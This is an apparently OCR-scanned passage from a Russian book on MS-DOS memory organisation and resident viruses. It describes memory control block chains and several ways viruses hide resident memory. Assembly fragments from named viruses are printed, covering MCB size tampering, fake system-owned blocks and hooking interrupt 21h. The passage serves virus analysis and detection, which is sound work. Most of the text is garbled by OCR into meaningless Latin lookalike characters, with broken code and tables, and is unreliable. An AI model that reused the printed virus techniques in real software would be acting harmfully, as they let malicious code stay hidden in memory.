T o p o B  n p e p u B a H H H , 3aTeM  ( b  o 6 j ia c n t  c c e r a e H T O M  40h) c jic a .v to t  c p a B - 

H H Te jib H O  H e 6 o jib iU H e  V H a c TK ii, n p e A H a sH a q e H H b ie  a j ih  n c ri0 J ib 3 0 B a m ia  

C Ta H fla p TH M M H  n p o u e / iy p a M H  BIOS ( K 0T 0p u e  c a M H  p a 3 M e m a ro TC H  c o - 

BceM  b a p y r o M  M e c Te  n a M H T H ).  /I,;uiee ( o 6 u h h o  H a H H H a n  c c e r M e H ra o r o  

a/ipeca 70h) p a c rio jia ra e TC H  n a p o  onepamioHHoii CH C TeM bi. Eme B u iu e  

«c a / iH T C H » 3 a rp y jK a e M b ie  Ha S T a n e  K O H c fjH ry p iip o B a m iH  C H CTeM bi f lp a n - 

B e p u  y c T p o f ic T B  h  p e .iH zie H TH bie  n p o rp a M M b i. M  H a K o n e u , o c Ta B iu iiH C H  

4>p a rM e H T p a 3 M e p o M  b H ecKO JibKO  c o T e H  K H Jio o a iiTO B , o rp a iiH H e H H w it  

c B e p x y  a/ipecoM  09000h:0FFFFh, o o u h h o  CBOOO/Ien h  rip e /u ia a iia 'ie H  

zuih iip m u ia / iH b ix  n p o rp a M M . H m c h h o  o t  K o n iia  s t o t o  c ^p a i'M e u ra  n a M H TH  

« O T K y c u B a .T i i »  ce 6 e  p a 6 o n e e  n p o c T p a n c T B O  s a r p y a o m ib ie  B H p y c b i. H a- 
H iiH aH  c a ^ p e c a  A000h:0 B n Jio T b  zio K o n u a  n e p B o ro  M e ra 6 a iiT a  ( t o  e cTb  

ao a/ipeca ()F000h:0FFFFb) p a s M e m a io rc H  B im e o n a M H T b  h p a ito iib i, 3 a -
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HHTbie KOtfOM n pou e/ ivp  BIOS, npuneM ziOBOJibiio Macro M ea y iy  h h m ii 

mo>kho o 6 Hapy>KHTb HHKeM h  HHHeM He H cn o .ib 3 yeM u e  cfjparaeH Tbi 

(U M B  -  u p p er  memory b lo c k s ).  CneiniajibHbie ap a iiB ep b i (MeHe/pKe- 

pb i naM H Tii) n03B07iHK)T nprncjia/iHbiM nporpaM M aM  H cnojibaoBaTb 3 th  

(J jparaeHTbi, a TaK>Ke o6^acra «BepxHeft» n a M jm i (H M A  -  high memory 
area), pa3M em eHHbie Me>K;iy k oh ijo m  n ep B oro  Mera6aiiTa h  aapecoM  

0FFFFh:0FFFFh. HaKOHeu, Bee ocra jibH b ie  p e ra o H M  c a/ipecaMH, 6ojib- 
iuhm h  neM  0FFFFh:0FFFFh, -  3T0 «pa cu in peH H aH » (e x t e n d e d )  naMHTb, 

npaKTHHecKH H eaocT yrm a fl a jw  Hcri0Jib30BaHHH b MS-DOS. TnnwHHaH 

CTpyKTypa na\WTH, a ocT yn H o ft nporpaM M aM  b peajibHOM peacHMe, Bbir.iw- 

xlHT npHMepHO KaK Ha p « c .  3.6.

F00Q:FFFF

F000:0000

A000:0000

■ npMKjiaflHbie nporpaMMbi

0070:0000 

0040:0000 

0000:0000
Phc. 3 .6 ❖ TunMMHoe pacnpefle/ieHMe naMflTM 

b MS-DOS

H ecM O Tpa n a  t o  m to MS-DOS CMHTaeTCH o/uio3a/ialin oH  on epau H - 

o h h o h  CHCTeMoii, b onepaTH BH oii na.viHTH 0;iH0BpeM eHH0 M oryT  p a c n o -  

jia raT bca  koah  necKojibKHX pa3.rmim b ix  n p o r p a M M 1. 1Jto6h  p a c n p e ^ e -

1 3 K c n e p n M e H T a jib H a a  B ep cm r MS-DOS 4.0 n o im e p x u iB a jia  MH0r03aaaHH0CTb, 
h o  j i a o o p a T o p i i t t  Microsoft T a K  h  H e  n o K i r a y J i a ,  B M e c T o  H e e  H a  p h iH O K  i i o c T v n n -  

J ia  n o - r i p e a t H C M y  o f l n o a a a a ' i H a J i  Bepciw 4.01.

Pe3HAeHTHbie
Apaiteepa

flflpo M S-D O S

flepeMeHHbie BIOS

06natrrb BeicropoB npepweaHww

HMA

BnAeonaMATb, BIOS  
m 4>parMenTbi UM B
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jiHTb Meacay hhmh aapecHoe npocTpancxBO , b M S -D O S  H cno jibayeTca  

MexaHH3M 6 jio k ob  n a jm m u . K aacaoM y o6beKTy BbiaeJineTCH p n a  6 j io k o b  

( « a p e H » )  onpeae jieH H oM  a.xHHbi. H anpH M ep , 3anycKaeMOH nporpaMMe 

onepauH O H H aa c n c reM a  n o  yMOJinaHHio BbiaeJineT a s a  o jioK a : nepBbiii -  

MajieHbKHH, T y a a  6 ya eT  cKonnpoB aH a k oh h h  c u c T e M H o r o  OKpyaceHHH; 

B Topo ft -  ooJ ib iiioH , TaM o y a e T  pa3MemaTbCH caM a nporpaM M a (cu an a - 

jia  -  2 5 6  6 aHTOB PSP, n 0T0 M n porpaM M H tra  Koa, aaHHbie, c tc k  h  t .  n .).  

B n p o r je c c e  p a 6 oTbi nporpaM M a m o jk c t 3 a n p o c i r r b  c e 6 e  aon o jiH H Te^b - 

Hbie 6 ,'xokh naMHTH, h  oh h , n o  M epe bo3m o>khoctii, o y a y r  e i i  BbiaejieHbi. 

Pa3VMeeTCH, nporpaMMa co3aaeT, BHaoH3M eHaeT h  yHHHToacaeT 6 aoK H  He 

caMocTOHTeabHO, h o  o 6 pam ancb  k  cepBHCHMM 4>yHKijHHM on ep am ioH H on  

cncTeMbi: 48h -  co3aaTb  o jio k , 49h -  yaa.iH Tb  6 jio k , 4Ah -  H3MeHHTb pas- 

Mep 6 aoK a. H eH cn oJ iK iyeM b ie  (jjp am eH T b i naMHTH TaioKe o<J)opMaeHbi 

b  BHae MHoacecTBa 6 jio k o b .

K a»cah iH  6jiok npeasapHeTCH cneum|)HHecKHM 16-6aHTHbiM 3aroJioB- 

kom (M C B  -  M aster Control B lock). 3 ar0Ji0B0K hbjihctch CBoero poaa 

«nacnopTOM» 6iioKa naMHTH, b HeM onHCbiBaioTCH 0 CH0BHbie napaMCTpw 

h xapaKTepiicTHKH Gjioks:

Type db ? : Tun 6no<a: 'V  -  noc/ieiwiiii, 'M' - hbt
Owner dw ? : GerMeHTHwii afipec PSP nporpaMMU-ejiaae/ibua
Size dw ? ; Paswep 6/!0Ka e i$-6aftTHbix napsrpa$a*

db 3 dup (?) ; ?
Name Ob 8 dup (?) ; nporpaMMH-B/iane/ibua

Bee 6aoKH -  h  3aHHTbie, h CBo6oaHbie -  pacnoaaraioTcn b c tm k  apyr 
k  apjTy- o6pa3VH HenpepbiBHyio nenoyicy. 3Ta nenoHKa aojiacua coaep- 
acaTb oaoKH c npH3HaK0M « M »  h 3aBepiuaTbCH eaHHCTBeHHHM ojiokom 
c npH3HaK0M «Z » (h cHOBa MapK 36hkobckh!). l a  Kan nenoHKa MoaceT 

6uTb He oaHa. HanpHMep, ecan pa3pemeH0 HcnojibsoBaHne UMB, to  

MS-DOS CTpoHT aBe nenpepbiBHbie nenoMKii. Pa3pbiB neno'iKii ( t o  ecrb 
noTepn 6iioKa c npH3HaK0M «Z » ) BocnpirnHMaeTcn onepauiioHHoii ciiCTe- 
moh KaK aBapiiHHan cuTyayHH.

Pa3Mep onepaTHBHoii naMHTH, peajibHo 3aHHMaeM0H 6/iokom, cocTaB- 
jiHeT Size* 16+1 6aiiT0B. 3 nan cerMeHTHbiH aapec 3ar0Ji0BKa 6aoKa h ero 

aaHHy, aereo BbiHHCJiHTb MecTonoaoaceHHe caeayiomero 6aoKa. J\nx 

Toro HToobi npoHTH bcio neno’iKy 6jiokob, Heo6xoaHMo 3HaTb cerMeHT- 
HbiH aapec aaroJioBKa caMoro nepBoro OjioKa. Ero mojkho riojm urrb npn 

noMomn 4 > y H K U H H  52h npepbiBaHHH 21h. 3 T a  oneHb n o a e 3 H a n  (^ymajHa 

BoaBpamaeT b E S :B X  cerMeHT h CMeineHHe Tafiaimhi, coaepacameii yica- 
3aTe.TH na BHvrpiicHCTCMitbie ooteKTbi M S -D O S . B  MacTiiocxM, no CMe
meHHio B X -2  b 3toh Ta6aHue mojkho Haim i cerMem m iH aapec nepBo-
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ro MCB «ochobhoh » uenoMKH 6jiokob, p a 3 M e in e H H O H  b n e p B b ix  640 K6. 
B toh  ace T a o jm u e  n o  c M em em n o  B X+12h xpaH H T ca  hojihwh aapec nepBO- 
r o  c})aHJioBoro 6ycJ)epa, b k o h u c  3aro jioB K a  K O Toporo (n o  oTHOcHTeJibHOMy 

CM em eHH io + lFh ) p a c n o jia ra e T c a  cerMem- n ep B o ro  MCB «f lo n o jiH H T e jib -  

h o h »  uenoHKH , pasM euienH O H  b o o jia c T a x  UMB. Ecjih Hcn0Jib30BaHHc  

UMB 3 an p em eH o  ii « ;(o n o J iH H T e jib H a «» nenoH K a OTcyTcrByeT, to  b yica- 
aaH H oii n o3H iy iH  xpaH H T ca  3H a4eH iie OFFFFh.

CymecTByeT neMajio cepBucHbix ymjiHT, n03B0Jiai0mHx iroapo6no 

H3VHHTb cTpoeHHe uenoweK ojiokob naMHTH: hx MecTonojio>KeHHe, pa3Mep, 
npHiia;uie>KHOCTi;, toh  hjih hhoh nporpaMMe h nponee. HanpHMep, sto mojk- 
ho cflejian> npn noMomn CTaHaapmoH cHCTeMHOH nporpaMMbi «M EM », 
BxoaameH b 6a30BbiH komiijickt ynuiHT MS-DOS: «M EM  ,/D /P».

K p o M e  T o r o ,  H c n o jib s y a  B b io ie n p u B e jie H H b xe  Te x H H H e c K H e  C B e /ie m ia , 

a j i r o p H T M  ooxo/ia  u e n o n e K  m o * n o  ( h  H yacH o !) yM en> p e a jiH 3 0 B b iB a Tb  c a - 

M O C TO H Te jib H O . H o  K p a im e H  M e pe, n o n c K  p e 3 H jje H T H o ro  B H p y c a  b  n a M a T H  

6e3 3 T o r o  H eB03M 0aceH.

B ot K aK  B h ir jia / m T  n m H 'm o e  pacnpe/te.ieHHe naM aTH b K O H tf ju ry p a - 

U H H  c U M B :

SEGM T OWSG SIZE 0W_NAME

0219 M 8 6464 SO
03AE M 8 64 SC
03 B3 M 3BA 80 (env)
03BS M 3 BA 94144 MEMVIEW
1AB6 Z r> 545920 (free)
9FFF ~ -----------. . . ---------- ----------------- - -

9FFF M 8 185S56 SC
CD60 M 8 8240 SD
CF64 M CF65 5712 COMMAND
00CA M 64 (free)
00 CF H CF65 1424 (env)
D129 M 0130 80 (env)
D12F M D130 18416 GM0USE
05AF Z
FOOu -

0 107776 (free)

A  BOT TaK -- b 6oJiee npocTOM

SEGM T 0W_SG SIZE 0W_NAME

0219 M o 20032 SD
06FE M 1390 32
0701 M 1616 80 (env)
0707 M 1A96 80 (env)
u70D M 0 16 <frs« ;

Hs'-sa/io "ochobhoh" uenoMKtf

A $to caMa yTt-uiMTS

Koneu "ochobhom" uenoMKn 
"ilononĤ iTejibHafi" uenô Ka

Kok 'fionojiHHTê bHon uenô Kn

H,3̂3/10 efiUHCTBeHHoft uenoMKi'! 
npHHajijiê HT COMMAND COM

yoo'-(■}k H8 cn o r : bum psmstm
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070F M 8 51376 SC
1398 M 139C 8608 COMMAND
15B6 M 0 64 (free) ; KycoMBK H6Mcnô b3yeMOii naMnm
158B M 139C 1424 (env)
1615 M 1616 18416 GMOUSE
1A95 M 1A96 94144 MEMVIEW
3192 Z 0 452304 ( f ree) , HeMcnoflb3yeMes) nawsib
AOOO - -------------------- — .  -------------------- - : Kohbu eflHHCT86HH0ii uenoHKn

06pamre B H H M a m ie  H a  paa B a a c H u x  o 6 c T o a T e jib C T B :

O n p a K T H n e c K H  B ee 6 jio k h , n p H n a / iJ ie » :a u in e  aapy MS-DOS, h m c k jt  

b  nojie « Owners- 3Ha>jeHiie 8;

O MS-DOS n o M e n a e T  6 jio k h , n p H H a jy ie a c a m n e  H flpy, t c k c t o b m m h  

M e n ca M H  ‘SC’ (s y s t e m  c o d e )  h  ‘SD’ (s y s t e m  d a t a ) ;

O  b c n n c K e  H M eroTC H  «6 e 3 b iM a H H b ie »  6 j io k h , h o  h x  n p H H a a Jie > K H o cTb  

n e rK O  o n pe/tejiH TL. n o  3 H a n e H H io  c e rM e H Ta  BJiazie.Tbua;

O  b « 3 f lo p o B o ii»  h  « h h c t o h »  C H CTeM e H e n c n o /ib 3 y e M a a  n a M H T b  o p r a -  

H H 3 0 B a H a , K aK  rip a B H jio , b  BHfle 6 o .n b iim x  H e iip e p b iB H b ix  o jio k o b , 

3 a M b iK a io m H X  n e n o M K H , a Taicjce b  B H fle  H e M H o ro w H c ;ie H H b ix  Kpo- 

x o t h h x  4 K y c 0 H K 0 B »  r f le -H ii6 y f lb  b  cepe /iH H e u e n o H K H ;

O  B « 3 a 0 p 0 B 0 H »  H  « 4 H C T 0 H »  CH C TeM e OCHOBHaH H  flO IIO JIH H Te .Tb H a a 

H enoM K H  p a a M e m a io TC H  n 0 c jie / i0 B a Te jib H 0 , 6e 3  pa 3 p b iB 0 B .

3 .6 .2 .  C n o c o 6 bi B b iA eneH M si B u p y c o M  <|>parM eHTa  

naM fiTM

B c n o M H H M : 3arpy30HHbie BHpycw, Ann T o r o  m to 6 m  C K p b iTb  o t  c h c t c m u  

(J jp a rM e H T o n e p a n iB H o f t  n a M H T H , V M e H b iu a ^ H  3 H a M e n n e  c.TOBa n a M H T H  n o  

a a p e c y  0;413h. Ho aBTopaM cfiafijioBoii « 3apa3bi» n p H X O flirr c a  H c n 0 J ib 3 0 - 

B a Tb  co B ce M  a p v r n e  m c t o a w  B bi/iejienH H  n a M a r a  n o /i B H p y c H b rii k o ;j.

Cnoco6 1 . 1 'lnen b t o t o  cnoco6a 0CH0BaHa Ha to m , h to  onepamioHHaa 
c u c T e M a  npn 3anycKe n p o r p a M M U  BM/ie.raeT e f t  cJjparaeHT naMHTH «c 3a- 
nacoM»: COM-nporpaMMe flocTaeTca caMbift 6ojib iu oH  Hencno.Tb3yeMbift 
6 jiok  naMHTH uejiHKOM, a EXE-nporpaM Me -  j ih 6 o  TaKace Becb 9TOT 6/iok 

(ec.TH B nojie «M inMem» 3aro.noBKa EXE-(J)aH.ia naxo/iHJiocb anaMefrae 
0, a b nojie «MaxMem» -  a n a H C H H e  OFFFFh), .11160 KpynHbift « K y c o K »  

aToro 6 jioxa , pa3Mep KOToporo b 16-6aftTHHKax TaioKe onpeaejiaeTca 3Ha- 
HeHHHMH no.Teft « Min Mem » h «MaxMem». Bnpycu nbrraioTCH HenpocTO 
yM enbiiiH Tb pa3M ep B b iae jier iH oro  nporpaMMe o jioK a , H anpaM yio  h3mchhh 
3HaMt:iiHM no j ie fi b MCB h PSP, h o  h  « y 6 e f l i iT b »  onepauHoiiHVio c iicT e- 

My, h to  «Tai< o h o  h 6bi7io». Tonia nocjie H opM ajibH oro  aaBepiueHiiH npo
rpaMMbi b uenoH K y oyzieT  B03Bpam en 6 jio k  yM eH biueH H oii m m im ,  a BCJie^
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3a hum o6pa3yeTCH «at,ipKa». Pa3y.MeeTca, s t o t  npneM pa6oTaeT t o j i l k o  

b tom cjiyiae, ecna BbmejieHHhifi nporpaMMe 6jiok 6bm nocjieaHHM b ne- 
noHKe h coaepacaji b MCB npn3Haic «Z ». B nponiBHOM cjiyyae uenoHKa 

OKaaceTCH paaopBannoH co BceMii BbiTeKaromHMH OTcroaa HenpiiHTHMMH 

nocjieflCTBHHMH. B o t c|5pat'MeHT Koaa BHpyca Later.981, peajiH3yiomero
3Ty H/iero:

mov Dp, ds , B DS HaxojsnTCfl cerMeHT PSP

raov s i,0002
mov ax, ds , ’ 6-6afiTHNii sarojioeoK GnoKa naMsnw
dec ax ; pacnonaraeTca HenoopefiCTesHHo nepefl PSP
mov os, ax
sub [s i ] [00001],7A ; V'MeHbiiiiiTh srianeHm  no.no Size s aarojiOBhe
mov ds, Op . C-HOBa Ha PSP
sub [s i ] , 7A , yxeHbSHTb pasMep nporpaMMHCiS naMfiTM b PSP:[2]

ilocTaTOMHo H3MeHHTb 3HaMeHiM ;reyx nojiefi: 1) nojm Size b 3aro^oBKe 

6 ;ioK a naMHTH; 2 ) nojra co  CMemeHiieM +2  b  PSP. B pe3y -ibTaTe nporpaM
Ma n o c jie  CBoero saBepweHiiH «B ep H eT » M enbiue naMHTH, hcm eft 6buio 

Bbi/jejieHO CHCTeMoft npn cTapTe. Cpa3y 3a noc.fie/niHM 6 jiok om  b nenoHKe 

o6pa3yeTCH 4 HevHTeHHbiH > 4>parMeHT 0 3 Y:

SEGM T 0W_SG SIZE 0W.NAHE

0219 M 8 20032 SD
06FE K 39C 32
0701 M 1616 80 (env)
0707 M A 112 (free)
070F H 8 51376 SC
139B K 139C 8608 COMMAND
15B6 K 0 64 (free)
15BB « 139C 1424 (env)
1615 H 1616 94144 MEMVIEW
2012 7 0 463784 (free) PocneflHuft 6jiok b uenom<e 

'TjHpKa" nevfiy 9F86n 0 u 0A000h:0

Cnoco6 2. 3 to t  ciioco6 TaioKe ocHOBan Ha MaHmiyjiHixJiHx c MCB, ho 

oh HecKOJibKO ooJiee KoppeicreH c tohkii speHHH onepauHOHHOH cncTeMbi. 
Pa3Mep Go.nbiuoro 6;i0Ka naMHTH, BbmejieHHoro 3apaaceHHoft nporpaMMe, 
yMeHbinaeTCH npn noMomw CTaHjapnioii (JjyHKmm 4Ah, n0T0M TaKjfce 

npn noMomn cran/iapTHOH cfiynKHHH 48h Ha stom MecTe co3,aaeTCH ho- 
Bbiii o.tok. B rio.Te «Owner» aarojioBKa 3Toro BHOBb coryiannoro 6ji0Ka 

iicKyccTBeHHO iioMemaeTCfl ana'iemie 8, b peay^bTaxe nero CHCTeMa Ha- 
'ifinaeT cmHTaTb 3tot 6jiok «cjiy>Ke6HbiM» h ocTaBJineT ero b naMHTH hoc-
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jie o6bPiHoro 3aBepmeHHH nporpaMMbi. 3 tot cnoco6 H;i;nocTpnpyeTCH
(JjparMeHTOM Ko#a BHpyca S V C -1064:

mov ax,4900 OCB050fiHTb T e icyn n ii 6/IOK naMHTH.
int 21

ffiOV ax,4800 nonuTaTbcn 3axBaTMTb 6/iok 3aeeA0M0 cBspxSo/tbuiofi
mov DX,FFFF n.niiHW, npn 3T0M B BX 6yfleT B03BpaneH Max.cHMa.nbHO
int 21 bo3mo*hw« em  aaxeara pasxep.
sub bx, 44 noflroTOBMTbca k saxsaTy 6/iOKa c "pssbpbom" admhu.

mov ax,4A00 33X88TKTb 6)10K naMflTH fiJlHHOti BX 16-6afiTHKKOB
i n t 21 (OH 6 y f i6 T  TeKVUtMM)
mov Dx,0043 nojtrOTOBMTbCB K 3aX B 3Ty Ma/ieHbKOFO 6noK«

s t c b "pesepBHoft” naMHTH
sb b es:[00002], bx
?nov es.cx
mov ax,4A00 SaxeaTH Tb  ManeHbKMft 6/iok. Oh pacno/ioxnTca b

i n t 21 KOHue u enoM M i t» 6 y a e r  hm6 t & Tpedy&tye auMHy.
mov ax, es PaccMHraTb MecTonojio*6HMe 3aronoBKa
dec ax A,nn BHOBb 3axB aM 6H H oro  M a ^e H b K o ro  6 ^ o < a .

iPOV d s .a x

mov [ 0 0 0 0 1 ] ,0 0 0 8 BnxcaTb B none  "oerMenr B .n a a e /ib u a " kob  8

rioc.ie 3aBepuieHiiH 3apaaceHHofl nporpaMMbi b  n e n o iK e  noHBiiTCH 

6jio k  naMHTH c k o /io m  8. CHCTeMa 6y^eT cmiTaTb ero « c b o h m »  h  He «Tpo- 
HeT>:

SEGH T 0W_SG SIZE 0W_NAHE

0219 H 8 20032 SD
06FE M 1390 32
0701 M 1616 80 (env)
0707 M 0 112 (free)
070F M 8 51376 SC
1398 H 139C 8608 COMMAND
1536 M 0 64 (free)
15BB M 139C 1424 (env)
1615 M 1616 94144 MEMVIEW
2D12 M 0 469648 (free)
9FBC Z 
AOOO -

8 1072 ; "n c e B f lo c n y * e 6 H « M " 6 /io k

Cnoco63. Eme o a iiH  cnoco6 npocT h  n aae jK eii c t o h k h  apeHHH iicno.Tb- 

30BaHHbIX B HeM MexaHH3MOB, HO HecKOJibKO XJIOnOTeH B pea.TH3aiIHH. 

Bnpyc /to MHHHMyMa yM enb iuaeT  Bbi/iejieHiibin sapaaceHHoft nporpaM M e 

6/io k  naMHTii npn iio m o ih h  cJjyHKiiHH 4Ah, K O irapyeT  b  s to t 6/io k  cbo h  

ko/i h  nepe/iaeT Ha H ero  ynpaBJieHHe. a BbicBo6oztHBmyiocH naMHTb h c - 

noJibsyeT  ji.th iioBTopnoro aanycKa aapajKennoii nporpaMMbi n p n  rioMoiun
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CTaHflapTHOH cJjyHKOMH 4Bh. riocjie Toro KaK nporpaMMa 33kohhht cboio 
pa6oTy, ynpaBJieHne BHOBb iiojivhht BHpyc h Toraa y>Ke 3aBepuiMTCH npn 
riOMOLUH cjjyHKUHH 31h npepbiBaHHH 21h hjih npn iiomoiuh npepbiBaHHH 
27h. B peayjibTaTe BHpyc (HanpHMep, Armageddon.1079 hjih Nigeb.890) 
ocTaHeTCH b naMHTH KaK caMan o6biMHan pe3HfleHTHaa nporpaMMa.

SEGM T 0W_SG SIZE 0W_NAME

0219 M 8 20032
06FE M 139C 32
0701 M 1616 80
0707 M 1668 80
070D H O  16
070F M 8 51376
1393 H 139C 8608
1SB6 M 0  64
15B8 M 139C 1424
1615 H 1616 1344
166A M 166B 94144
2D67 Z 0 469376
A000 - --------------------------

C y m e c T B y e T  «J ie H T H H C K a H » M O flH cJ)H K an iia  s to to  c n o c o 6 a : n o c Jie  

n e p B o ro  3anycKa aapajKeiiHoii nporpaMMbi BHpyc n p o c T o  ycTanaBJiiiBaer 

b n a M H T H  o 6 p a 6 o T iH K H  cbohx n p e p b iB a m iH  h  c p a 3 v  ace pe3 H /ie H TH O  3a - 

BepmaeTCfl, HHor/ia cHHCX0,aHTejibH0 H3BecTHB nojib30BaTejia 0 tom, hto 
« B a d  c o m m a n d  or f ile  n a m e » .  HaiiBiibiH riojibaoBaTCJib C H H Ta e T , hto caM  

^ o n j'C T H J i  KaKyio-To oiuh6kv, h  nbrraeTCH BHOBb 3anycTHTb n p o rp a M M }'. 

H a 3 to t pa3 3 a n y c K  npoxojHT HopMajibHo. h n0Jib30BaTeJib 6bicTpo 3a6bi- 
B a e T 0 c jiy M a iiH o fi (hkoom !) H ey/ia ne nepBoro 3 a n y c K a . B o t  n p H M e p  T o r o ,  

K a K  B H p y c o n iic a T e jiH  cboh H e a o c T a n c n  b n c K y c c T B e  n p o rp a M M H p o B a m iH  

yaaM H O  3 a M e m a iO T n c H x o Jio rn H e c .K H M H  Tp io K a M H .

Cnoco6 4. Eme o/ihh cnoco6  Hcnojib3yeT to 06cT0HTejibCTB0, hto 
BTopaa nojioBHHa Ta6jnm bi BeicropoB npepbiBaHHH (to  ecTb o6jiacTb 

c a/ipecaMH ot 0:512 ao 0:1024) coBceM He Hcnojib3yeTCH onepauHOHHOH 
cucTeMOH MS-DOS h flOBOJibHO pe^KO Hcnojib3yeTCH npHKJia£HbiMH 

nporpaMMaMH. Ecjih koji BHpyca Maji h MoaceT nojiHOCTbio VMecTHTbCH 

b 3tom (|)parMeiiTe 0 3 Y, to BHpyc npocTo KonnpyeT Tyaa cboh koa, ycra - 

HaBJiHBaeT Heo6xozuiMbie oopaooTMHKH npepbiBaHHH h Ha stom CMHTaeT 
aa/iany no ycTaHOBKe b na.MHTH BbinoJiHeHHoii.

AjiropHTMbi, peajiH3yromHe axy naero, npeaejibHO npocTbi, /taace npH- 
MHTHBHbi. laKHe Biipycbi KOHeHHO »:e  He BiiflHbib HerioMKe 6jiokob iraMH- 
tii. Ho cjiHiiiKOM yac «HeHa,ie>KHoe» sto MecTo hjih BHpycoB 11 «Tecnoe>>! 
IIostomv o6jiacTb BeKTopos npepbiBaHHH oyem> pe^KO HcnoJib3yeTCH zi.ti>i

so

(env)
(env)
(free)
SC
COMMAND
(free)
(env)
VIRUS ; "HopManbHUM" (Sjiok c sitpycoH
MEMVIEW
(free)
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p a 3 M e m e H H «  « c e p b e 3 H b ix »  B H p y c o B .  KaK n p a B H J io ,  T a M  « > K H ByT »  j iH i i i b  

M H o ro H H C J ie H H b ie  pe3iifleHTHbie B H p y c b i  ceMeiicTB Mini, Micro n  Tiny, 
n p e / iH a a H a M e m ib ie  H e  jma  « a o j i r o f l  h  c q a c T J iH B o i i  » c h 3 h h » ,  h o  .zp in  n o 6 n -  

T H H  p e K O p f lO B  B  COpeBHOBaHHHX B H p y C O n H C a T e jIC H  H a  C a M H H  K O p O T K H H  

B H p y c .

C n o c o o  5 . K a K  s t o  h h  c x p a H H O , h o  c y m e c T B y io T  B u p y c b i ,  n p m ia z iJ ie a c a -  

m n e  «nepy» p a 3 J iH H H b ix  a B T o p o B ,  K 0 T 0 p b ie  i i c n o j i b a y io T  n a e r o  n p o c T o r o  

K o m ip o B a H H H  B H p y c H o r o  K o / ia  b  C T a p u iH e  a a p e c a  o n e p a T H B H o i i  n a M H T H , 

6 e 3  M a j i e H iu e i i  n o n h r n c H  K a K H M - j in o o  o 6 p a 3 0 M  o 6 e c n e i« iT b  3 a m H T y  s t o m  

O D J ia C T H  O T  n O C H ra T C J Ib C T B  CO C T O p O H b l O n e p a m iO H H O H  CHCTC-M b l i i  n p n -  

K J ia / iH b ix  n p o r p a M M .  T a r a ie  B i i p y c u  fla>Ke H H o r a a  y c n e B a io r  n p o c y m e c T -  

B O B a T b  B  naMHTH H C C K O JIb K O  MHHyT H  3 a p a 3 H T b  H e C K O JIb K O  «> KepTB» , 

u p o K / ie  h c m  3 t h  a / ip e c a  6 y i i y r  H c n o j i b s o B a i ib i  n o a  C T e K  h j i h  « K y y y »  K a -  

K o i i - H H o y A b  B H O B b  a a n y m e H H o i i  n p o r p a M M b i ,  a  t o  h  non. H y jK f lb i  c a M o r i 

MS-DOS. Pe3V'-'ibTaT K a a c / ib iH  p a 3  6biBaeT o / ih h  h  t o t  a ce  -  k o / i  B i i p y c a  

B M e c T e  c  oopa6oT4H KaM H  n p e p H B a H H H  H e M H H y e M O  « 3 a r a p a e T C H » ,  h  c h -  

C T e M a  « rH O H e T » .

Z le B H 3 0 M  a B T o p o B  S T i i x  B i i p y c o B  ( H a n p H M e p ,  PcFly.763 h jih  Feist.670) 
M O r.T H  6 m  C J iy a C H T b  H C K O H H O  p y C C K H e  n O H H T H H  « a B O C b »  h  «nocJ> H r» .

3 . 6 . 3 .  0 6 p a 6 o i x a  n p ep b iB aH M M

P e 3 H a e H T H O M y  B H p y c y  H e a o c r a T O H H O  n p o c T o  o c r a B a T b c n  b  K a K O M - .m i6 o  

y n a c T K e  o n e p a T H B H o i i  n a M H T H , o h  a o j r a e H  p s  CBoero p a 3 M H 0 5 K e H H H  a K -  

t h b h o  p e a r n p o B a T b  H a  p a 3 J iH M H b ie  c o o m t h h ,  n p o H c x o a a m n e  b  C H C T e M e : 

H a  3 a n y c K  h  3 a B e p m e H H e  n p o r p a M M ,  H a  o n e p a m m  c  4 > a iiJ ia M H  i i  K a T a .u o - 

r a M i i  h  t .  n .  3 T y  a a a a q y  p e .3 H / ie H T H b ie  c f ia H J io B b ie  B H p y c b i  B b in o j iH H io T ,  

nepexBaTbiBan n p o r p a M M H b ie  npepHBaHHH, liepe3 K O T o p u e  npHKJianHbie 

n p o r p a M M b i  h  o n e p a i t i i o H H a n  C H C T e M a  o 6 p a m a io T C f l  k  c n e m ia j iH S H p o B a n -  

H U M  C H C T C M H b IM  C e p B H C 3 M . I lo A a B J IH K )U ] ,e e  6 0 J Ib lU H H C T B 0  p e 3 H / ie H T H M X  

B i i p y c o B  n e p e x B a T b m a io T  n p e p b iB a H i ie  21h, n e p e 3  K O T o p o e  o c y m e c T B J in -  

eT C H  A o C T y n  k  C H C T e M H b iM  c e p B H c a M  M S - D O S .  B ot n p i iM e p  K O / ia  n e p B O -  

r o  b  H C T o p m i p e 3 H f le H T H o r o  B i i p y c a  (Lehigh), H e c K O J ib K O  H a H B H o  h H e -  

y K ^ io a c e  B b in o J iH H io m e r o  n e p e x B a T  n p e p H B a H H H  21h:

mov ax,3521h
int 21 h
mov [s i -41. bx

flojiynnTb Tê yiiiee SHa'iSHiie eeMopa 
npepbiB aH M fl 21 h M C Q X p d H H T b :

1) BX -e ro  OMemeuHe;
®ov [si-2j,es , 2; ES - ero c e r M e H T  ~ a e - T 0  e o6iiacTn asms* Bvioyca

mov dx,[si-4]
3iov ax, [si-2]
mov ds.ax



Pe3l/1ABHTHbK? Bupycbi ❖ 131

mov ax,2544h
int 21h
du sh es
DOp ds
xor dx, dx
mov ax.2521h
Int 44h

VcraHOBHTb s to  3HaM©HHG BSKTopa fl.na npeoweaHup 44h, 
Tenepb k GepBiicy MS-OOS moxho oQpamaTbcfl «epe3 Hero.

DX := C.
YcraHOBHTb HOBO0 3HaM9HM6 fljiq BSKTOpa 21tl, OHO 

DyfieT paBHO ES:0 (Tan "*W8eT" BWpyCHHiS 06p860TMKK).

n o  c y T H .  o n e p a ijH H  n e p e x B a Ta  n p e p b iB a H H H  cbo/ ih tch  k  3a\ieHe 3Haire- 

h h h  a a p e c a , pacnoJiojiceH H oro b c o o x B e TC TB y ro m e M  M e cTe  T a 6 j i n i i w  B eK - 

T opoB  n p e p b iB a H H H . IIoaTO M y c y m e c T B V io T  B iip y c b i, K o ro p b ie  H e rio.xb- 

3JTO TC H  4>yHKHHHMH 25h/35h, HO HaiipHMyKD B H O C H T CBOH H CnpaB .neH H H  

B co a e p ^cH M o e  n e p B o ro  KHJio6aiixa o n e p a n iB H O H  n a M H T H  (H a n p H M e p , Bee 

t o t  ace SVC.1064):
xor ax, ax
mov Cs, ax ; DS:=0
Ids ax, [00084] ; S4n = 2in»4 -  no3nmia seKTopa npepweawHfi 2ih
mov OS:0FS21 [SI ] , ax . CoxpaHKTb: 1) ax -  CMemenvie;
mov cs:SEG21[si ], ds ; 2) ds -  cerxeHT oraporo 3H8<whmo eeioropa

Cll
